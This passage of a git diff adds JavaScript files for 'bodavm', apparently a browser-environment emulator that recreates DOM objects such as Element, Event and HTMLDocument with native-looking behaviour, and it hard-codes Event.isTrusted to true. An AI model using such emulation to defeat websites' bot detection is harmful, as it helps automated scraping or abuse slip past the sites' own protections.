bodavm.memory.globalobj['Element'].prototype, "Element", "ariaCurrent_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaDescription", {configurable:true, enumerable:true, get:function ariaDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaDescription_get", arguments)}, set:function ariaDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaDescription_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaDisabled", {configurable:true, enumerable:true, get:function ariaDisabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaDisabled_get", arguments)}, set:function ariaDisabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaDisabled_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaExpanded", {configurable:true, enumerable:true, get:function ariaExpanded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaExpanded_get", arguments)}, set:function ariaExpanded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaExpanded_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaHasPopup", {configurable:true, enumerable:true, get:function ariaHasPopup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaHasPopup_get", arguments)}, set:function ariaHasPopup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaHasPopup_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaHidden", {configurable:true, enumerable:true, get:function ariaHidden (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaHidden_get", arguments)}, set:function ariaHidden (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaHidden_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaInvalid", {configurable:true, enumerable:true, get:function ariaInvalid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaInvalid_get", arguments)}, set:function ariaInvalid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaInvalid_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaKeyShortcuts", {configurable:true, enumerable:true, get:function ariaKeyShortcuts (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaKeyShortcuts_get", arguments)}, set:function ariaKeyShortcuts (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaKeyShortcuts_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaLabel", {configurable:true, enumerable:true, get:function ariaLabel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaLabel_get", arguments)}, set:function ariaLabel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaLabel_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaLevel", {configurable:true, enumerable:true, get:function ariaLevel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaLevel_get", arguments)}, set:function ariaLevel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaLevel_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaLive", {configurable:true, enumerable:true, get:function ariaLive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaLive_get", arguments)}, set:function ariaLive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaLive_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaModal", {configurable:true, enumerable:true, get:function ariaModal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaModal_get", arguments)}, set:function ariaModal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaModal_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaMultiLine", {configurable:true, enumerable:true, get:function ariaMultiLine (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaMultiLine_get", arguments)}, set:function ariaMultiLine (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaMultiLine_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaMultiSelectable", {configurable:true, enumerable:true, get:function ariaMultiSelectable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaMultiSelectable_get", arguments)}, set:function ariaMultiSelectable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaMultiSelectable_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaOrientation", {configurable:true, enumerable:true, get:function ariaOrientation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaOrientation_get", arguments)}, set:function ariaOrientation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaOrientation_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaPlaceholder", {configurable:true, enumerable:true, get:function ariaPlaceholder (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaPlaceholder_get", arguments)}, set:function ariaPlaceholder (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaPlaceholder_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaPosInSet", {configurable:true, enumerable:true, get:function ariaPosInSet (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaPosInSet_get", arguments)}, set:function ariaPosInSet (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaPosInSet_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaPressed", {configurable:true, enumerable:true, get:function ariaPressed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaPressed_get", arguments)}, set:function ariaPressed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaPressed_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaReadOnly", {configurable:true, enumerable:true, get:function ariaReadOnly (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaReadOnly_get", arguments)}, set:function ariaReadOnly (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaReadOnly_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaRelevant", {configurable:true, enumerable:true, get:function ariaRelevant (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRelevant_get", arguments)}, set:function ariaRelevant (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRelevant_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaRequired", {configurable:true, enumerable:true, get:function ariaRequired (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRequired_get", arguments)}, set:function ariaRequired (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRequired_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaRoleDescription", {configurable:true, enumerable:true, get:function ariaRoleDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRoleDescription_get", arguments)}, set:function ariaRoleDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRoleDescription_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaRowCount", {configurable:true, enumerable:true, get:function ariaRowCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRowCount_get", arguments)}, set:function ariaRowCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRowCount_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaRowIndex", {configurable:true, enumerable:true, get:function ariaRowIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRowIndex_get", arguments)}, set:function ariaRowIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRowIndex_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaRowSpan", {configurable:true, enumerable:true, get:function ariaRowSpan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRowSpan_get", arguments)}, set:function ariaRowSpan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaRowSpan_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaSelected", {configurable:true, enumerable:true, get:function ariaSelected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaSelected_get", arguments)}, set:function ariaSelected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaSelected_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaSetSize", {configurable:true, enumerable:true, get:function ariaSetSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaSetSize_get", arguments)}, set:function ariaSetSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaSetSize_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaSort", {configurable:true, enumerable:true, get:function ariaSort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaSort_get", arguments)}, set:function ariaSort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaSort_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaValueMax", {configurable:true, enumerable:true, get:function ariaValueMax (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueMax_get", arguments)}, set:function ariaValueMax (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueMax_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaValueMin", {configurable:true, enumerable:true, get:function ariaValueMin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueMin_get", arguments)}, set:function ariaValueMin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueMin_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaValueNow", {configurable:true, enumerable:true, get:function ariaValueNow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueNow_get", arguments)}, set:function ariaValueNow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueNow_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "ariaValueText", {configurable:true, enumerable:true, get:function ariaValueText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueText_get", arguments)}, set:function ariaValueText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaValueText_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Element', "getAnimations", {configurable:true, enumerable:true, writable:true, value:function getAnimations (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "getAnimations", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/Event.js b/env_xbb_lastest_jsdom/env copy/Event.js new file mode 100644 index 00000000..a93320ec --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/Event.js @@ -0,0 +1,46 @@ +//Event对象 +bodavm.memory.globalobj['Event']=function Event(){ + if (!(this instanceof Event)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Event': Please use the 'new' operator, this DOM object constructor cannot be called as a function") + }; + if (arguments.length <1){ + return bodavm.toolsFunc.throwError("TypeError","Failed to construct 'Event': 1 argument required, but only 0 present.") + } + this._type=arguments[0] + Object.defineProperty(this,'isTrusted',{ + configurable:false, + enumerable:true, + set:undefined, + get:function (){ + return true + } + },'bobo') + } +// Event对象 +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Event'], "Event"); +bodavm.toolsFunc.defineProperty('Event', "NONE", {configurable:false, enumerable:true, writable:false, value:0}); +bodavm.toolsFunc.defineProperty('Event', "CAPTURING_PHASE", {configurable:false, enumerable:true, writable:false, value:1}); +bodavm.toolsFunc.defineProperty('Event', "AT_TARGET", {configurable:false, enumerable:true, writable:false, value:2}); +bodavm.toolsFunc.defineProperty('Event', "BUBBLING_PHASE", {configurable:false, enumerable:true, writable:false, value:3}); +bodavm.toolsFunc.defineProperty('Event', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "type_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Event', "target", {configurable:true, enumerable:true, get:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "target_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Event', "currentTarget", {configurable:true, enumerable:true, get:function currentTarget (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "currentTarget_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Event', "eventPhase", {configurable:true, enumerable:true, get:function eventPhase (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "eventPhase_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Event', "bubbles", {configurable:true, enumerable:true, get:function bubbles (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "bubbles_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Event', "cancelable", {configurable:true, enumerable:true, get:function cancelable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "cancelable_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Event', "defaultPrevented", {configurable:true, enumerable:true, get:function defaultPrevented (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "defaultPrevented_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Event', "composed", {configurable:true, enumerable:true, get:function composed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "composed_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Event', "timeStamp", {configurable:true, enumerable:true, get:function timeStamp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "timeStamp_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Event', "srcElement", {configurable:true, enumerable:true, get:function srcElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "srcElement_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('Event', "returnValue", {configurable:true, enumerable:true, get:function returnValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "returnValue_get", arguments)}, set:function returnValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "returnValue_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Event', "cancelBubble", {configurable:true, enumerable:true, get:function cancelBubble (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "cancelBubble_get", arguments)}, set:function cancelBubble (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "cancelBubble_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Event', "NONE", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); +bodavm.toolsFunc.defineProperty('Event', "CAPTURING_PHASE", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); +bodavm.toolsFunc.defineProperty('Event', "AT_TARGET", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); +bodavm.toolsFunc.defineProperty('Event', "BUBBLING_PHASE", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); +bodavm.toolsFunc.defineProperty('Event', "composedPath", {configurable:true, enumerable:true, writable:true, value:function composedPath (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "composedPath", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Event', "initEvent", {configurable:true, enumerable:true, writable:true, value:function initEvent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "initEvent", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Event', "preventDefault", {configurable:true, enumerable:true, writable:true, value:function preventDefault (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "preventDefault", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Event', "stopImmediatePropagation", {configurable:true, enumerable:true, writable:true, value:function stopImmediatePropagation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "stopImmediatePropagation", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Event', "stopPropagation", {configurable:true, enumerable:true, writable:true, value:function stopPropagation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "stopPropagation", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('Event', "path", {configurable:true, enumerable:true, get:function path (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Event'].prototype, "Event", "path_get", arguments)}, set:undefined},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/EventTarget.js b/env_xbb_lastest_jsdom/env copy/EventTarget.js new file mode 100644 index 00000000..4aa321fc --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/EventTarget.js @@ -0,0 +1,12 @@ +// EventTarget对象 +bodavm.memory.globalobj['EventTarget'] = function EventTarget(){ + if (!(this instanceof EventTarget)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'EventTarget': Please use the 'new' operator, this DOM object constructor cannot be called as a function") + }; + + +} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['EventTarget'], "EventTarget"); +bodavm.toolsFunc.defineProperty('EventTarget', "addEventListener", {configurable:true, enumerable:true, writable:true, value:function addEventListener (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventTarget'].prototype, "EventTarget", "addEventListener", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('EventTarget', "dispatchEvent", {configurable:true, enumerable:true, writable:true, value:function dispatchEvent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventTarget'].prototype, "EventTarget", "dispatchEvent", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('EventTarget', "removeEventListener", {configurable:true, enumerable:true, writable:true, value:function removeEventListener (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventTarget'].prototype, "EventTarget", "removeEventListener", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/External.js b/env_xbb_lastest_jsdom/env copy/External.js new file mode 100644 index 00000000..53b5eb85 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/External.js @@ -0,0 +1,10 @@ +// External对象 +bodavm.memory.globalobj['External'] = function External(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['External'], "External"); +bodavm.toolsFunc.defineProperty('External', "AddSearchProvider", {configurable:true, enumerable:true, writable:true, value:function AddSearchProvider (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['External'].prototype, "External", "AddSearchProvider", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('External', "IsSearchProviderInstalled", {configurable:true, enumerable:true, writable:true, value:function IsSearchProviderInstalled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['External'].prototype, "External", "IsSearchProviderInstalled", arguments)}},'prototype'); + +bodavm.memory.globalobj[ 'external'] = {} +bodavm.memory.globalobj[ 'external'].__proto__=bodavm.memory.globalobj['External'].prototype; + + diff --git a/env_xbb_lastest_jsdom/env copy/HTMLAudioElement.js b/env_xbb_lastest_jsdom/env copy/HTMLAudioElement.js new file mode 100644 index 00000000..ded11024 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/HTMLAudioElement.js @@ -0,0 +1,12 @@ +// HTMLAudioElement对象 +bodavm.memory.globalobj['HTMLAudioElement'] = function HTMLAudioElement(){ + if (!(this instanceof HTMLAudioElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'HTMLAudioElement': Please use the 'new' operator, this DOM object constructor cannot be called as a function") + }; + + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor") + +} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLAudioElement'], "HTMLAudioElement"); +bodavm.memory.globalobj['HTMLAudioElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLMediaElement'].prototype; +bodavm.memory.globalobj['HTMLAudioElement'].__proto__=bodavm.memory.globalobj['HTMLMediaElement']; diff --git a/env_xbb_lastest_jsdom/env copy/HTMLCollection.js b/env_xbb_lastest_jsdom/env copy/HTMLCollection.js new file mode 100644 index 00000000..140b9629 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/HTMLCollection.js @@ -0,0 +1,6 @@ +// HTMLCollection对象 +bodavm.memory.globalobj['HTMLCollection'] = function HTMLCollection(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLCollection'], "HTMLCollection"); +bodavm.toolsFunc.defineProperty('HTMLCollection', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCollection'].prototype, "HTMLCollection", "length_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLCollection', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCollection'].prototype, "HTMLCollection", "item", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLCollection', "namedItem", {configurable:true, enumerable:true, writable:true, value:function namedItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLCollection'].prototype, "HTMLCollection", "namedItem", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/HTMLDocument.js b/env_xbb_lastest_jsdom/env copy/HTMLDocument.js new file mode 100644 index 00000000..79315da0 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/HTMLDocument.js @@ -0,0 +1,15 @@ +// HTMLDocument对象 +bodavm.memory.globalobj['HTMLDocument'] = function HTMLDocument(){ + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLDocument'], "HTMLDocument"); +bodavm.memory.globalobj['HTMLDocument'].prototype.__proto__=bodavm.memory.globalobj['Document'].prototype; +bodavm.memory.globalobj['HTMLDocument'].__proto__=bodavm.memory.globalobj['Document']; + +// document= {} + + +// document对象 +bodavm.memory.globalobj['document'] = new bodavm.memory.globalobj['Document']() +bodavm.memory.globalobj['document'].__proto__=bodavm.memory.globalobj['HTMLDocument'].prototype; +bodavm.toolsFunc.defineProperty('document', "location", {configurable:false, enumerable:true, get:function location (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['document'], "document", "location_get", arguments)}, set:function location (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['document'], "document", "location_set", arguments)}}); + diff --git a/env_xbb_lastest_jsdom/env copy/HTMLElement.js b/env_xbb_lastest_jsdom/env copy/HTMLElement.js new file mode 100644 index 00000000..512df59d --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/HTMLElement.js @@ -0,0 +1,135 @@ +// HTMLElement对象 +bodavm.memory.globalobj['HTMLElement'] = function HTMLElement(){ + if (!(this instanceof HTMLElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'HTMLElement': Please use the 'new' operator, this DOM object constructor cannot be called as a function") + }; + + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLElement'], "HTMLElement"); +bodavm.memory.globalobj['HTMLElement'].prototype.__proto__=bodavm.memory.globalobj['Element'].prototype; +bodavm.memory.globalobj['HTMLElement'].__proto__=bodavm.memory.globalobj['Element']; +bodavm.toolsFunc.defineProperty('HTMLElement', "title", {configurable:true, enumerable:true, get:function title (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "title_get", arguments)}, set:function title (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "title_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "lang", {configurable:true, enumerable:true, get:function lang (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "lang_get", arguments)}, set:function lang (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "lang_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "translate", {configurable:true, enumerable:true, get:function translate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "translate_get", arguments)}, set:function translate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "translate_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "dir", {configurable:true, enumerable:true, get:function dir (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "dir_get", arguments)}, set:function dir (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "dir_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "hidden", {configurable:true, enumerable:true, get:function hidden (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "hidden_get", arguments)}, set:function hidden (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "hidden_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "accessKey", {configurable:true, enumerable:true, get:function accessKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "accessKey_get", arguments)}, set:function accessKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "accessKey_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "draggable", {configurable:true, enumerable:true, get:function draggable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "draggable_get", arguments)}, set:function draggable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "draggable_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "spellcheck", {configurable:true, enumerable:true, get:function spellcheck (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "spellcheck_get", arguments)}, set:function spellcheck (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "spellcheck_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "autocapitalize", {configurable:true, enumerable:true, get:function autocapitalize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "autocapitalize_get", arguments)}, set:function autocapitalize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "autocapitalize_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLElement', "contentEditable", {configurable:true, enumerable:true, get:function contentEditable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "contentEditable_get", arguments)}, set:function contentEditable (){return 